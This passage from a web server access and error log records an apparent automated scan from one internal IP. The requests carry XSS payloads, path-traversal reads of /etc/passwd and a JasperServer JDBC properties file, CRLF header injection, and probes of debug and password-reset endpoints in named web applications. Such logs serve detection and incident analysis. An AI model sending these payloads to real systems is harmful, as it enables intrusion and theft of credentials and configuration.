AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.706129096Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename HTTP/1.1" 400 259 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.706146555Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1 HTTP/1.1" 400 662 "" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.706159221Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module HTTP/1.1" 400 259 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.706947388Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /slurm/ HTTP/1.1" 200 8851 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" web-1 | 2026-11-01T02:42:13.707203846Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /slurm/ HTTP/1.1" 200 8851 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.707399721Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /v1/users/image?path=/var/lib/casaos/1/system.json HTTP/1.1" 200 8851 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0" web-1 | 2026-11-01T02:42:13.707576346Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?meta=%3Csvg%2Fonload=confirm%28document.domain%29%3E HTTP/1.1" 200 8844 "" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.707600846Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /_debugbar/open HTTP/1.1" 200 8854 "" "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" web-1 | 2026-11-01T02:42:13.710500346Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /_debugbar/open HTTP/1.1" 200 8854 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.710556971Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /v1/users/image?path=/var/lib/casaos/1/system.json HTTP/1.1" 200 8851 "" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.710678221Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /_debugbar/open HTTP/1.1" 200 8854 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0" web-1 | 2026-11-01T02:42:13.710679346Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET HTTP/1.1" 400 161 "" "-" web-1 | 2026-11-01T02:42:13.710794888Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?meta=%3Csvg%2Fonload=confirm%28document.domain%29%3E HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.4 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.710820846Z 2026/11/01 02:42:13 [error] 146#146: *29276 open() "/usr/share/jitsi-meet/mn71q"><script>alert(document.domain)</script>p15vr" failed (2: No such file or directory), client: 192.168.64.165, server: _, request: "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1", host: "oss-verify.example" web-1 | 2026-11-01T02:42:13.710846805Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1" 404 435 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.710959138Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /welcome HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0" web-1 | 2026-11-01T02:42:13.711092763Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1 HTTP/1.1" 200 8853 "" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.711209138Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties HTTP/1.1" 200 8856 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0" web-1 | 2026-11-01T02:42:13.711320680Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /slurm/ HTTP/1.1" 200 8851 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.6" web-1 | 2026-11-01T02:42:13.711439930Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /etc/passwd?.svg?.wasm?init HTTP/1.1" 200 8849 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Mobile/15E148 Safari/604.1" web-1 | 2026-11-01T02:42:13.712018346Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?meta=%3Csvg%2Fonload=confirm%28document.domain%29%3E HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/125.0" web-1 | 2026-11-01T02:42:13.712133055Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script> HTTP/1.1" 200 8851 "" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.712255471Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" web-1 | 2026-11-01T02:42:13.712399096Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /etc/passwd?.svg?.wasm?init HTTP/1.1" 200 8849 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0" web-1 | 2026-11-01T02:42:13.712599680Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /etc/passwd?.svg?.wasm?init HTTP/1.1" 200 8849 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" web-1 | 2026-11-01T02:42:13.712786930Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1" 200 8851 "" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.712935846Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /slurm/ HTTP/1.1" 200 8851 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" web-1 | 2026-11-01T02:42:13.713350180Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.713646263Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.713786930Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_18) AppleWebKit/605.1.18 (KHTML, like Gecko) Version/18 Safari/605.1.18" web-1 | 2026-11-01T02:42:13.713925471Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.713980013Z 2026/11/01 02:42:13 [error] 146#146: *29086 open() "/usr/share/jitsi-meet/mn71q"><script>alert(document.domain)</script>p15vr" failed (2: No such file or directory), client: 192.168.64.165, server: _, request: "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1", host: "oss-verify.example" web-1 | 2026-11-01T02:42:13.714016680Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1" 404 435 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0" web-1 | 2026-11-01T02:42:13.714054596Z 2026/11/01 02:42:13 [error] 146#146: *29276 open() "/usr/share/jitsi-meet/mn71q"><script>alert(document.domain)</script>p15vr" failed (2: No such file or directory), client: 192.168.64.165, server: _, request: "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1", host: "oss-verify.example" web-1 | 2026-11-01T02:42:13.714075096Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1" 404 435 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.714206763Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?meta=%3Csvg%2Fonload=confirm%28document.domain%29%3E HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362" web-1 | 2026-11-01T02:42:13.714250513Z 2026/11/01 02:42:13 [error] 146#146: *29086 open() "/usr/share/jitsi-meet/mn71q"><script>alert(document.domain)</script>p15vr" failed (2: No such file or directory), client: 192.168.64.165, server: _, request: "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1", host: "oss-verify.example" web-1 | 2026-11-01T02:42:13.714269096Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1" 404 435 "" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.17" web-1 | 2026-11-01T02:42:13.714407138Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /welcome HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" web-1 | 2026-11-01T02:42:13.714544138Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /welcome HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0" web-1 | 2026-11-01T02:42:13.714682430Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /welcome HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; ClaudeBot/1.0; [email protected])" web-1 | 2026-11-01T02:42:13.714813805Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /etc/passwd?.svg?.wasm?init HTTP/1.1" 200 8849 "" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.714977180Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1 HTTP/1.1" 200 8853 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2 rv:2.0; mai-IN) AppleWebKit/533.27.1 (KHTML, like Gecko) Version/5.0 Safari/533.27.1" web-1 | 2026-11-01T02:42:13.715118180Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1 HTTP/1.1" 200 8853 "" "Mozilla/5.0 (Windows NT 6.1; rv:109.0) Gecko/20100101 Firefox/115.0" web-1 | 2026-11-01T02:42:13.715264138Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1 HTTP/1.1" 200 8853 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.715414555Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties HTTP/1.1" 200 8856 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1" web-1 | 2026-11-01T02:42:13.715554305Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /_debugbar/open HTTP/1.1" 200 8854 "" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.715709680Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties HTTP/1.1" 200 8856 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" web-1 | 2026-11-01T02:42:13.715862680Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties HTTP/1.1" 200 8856 "" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" web-1 | 2026-11-01T02:42:13.716016888Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10" web-1 | 2026-11-01T02:42:13.716156721Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"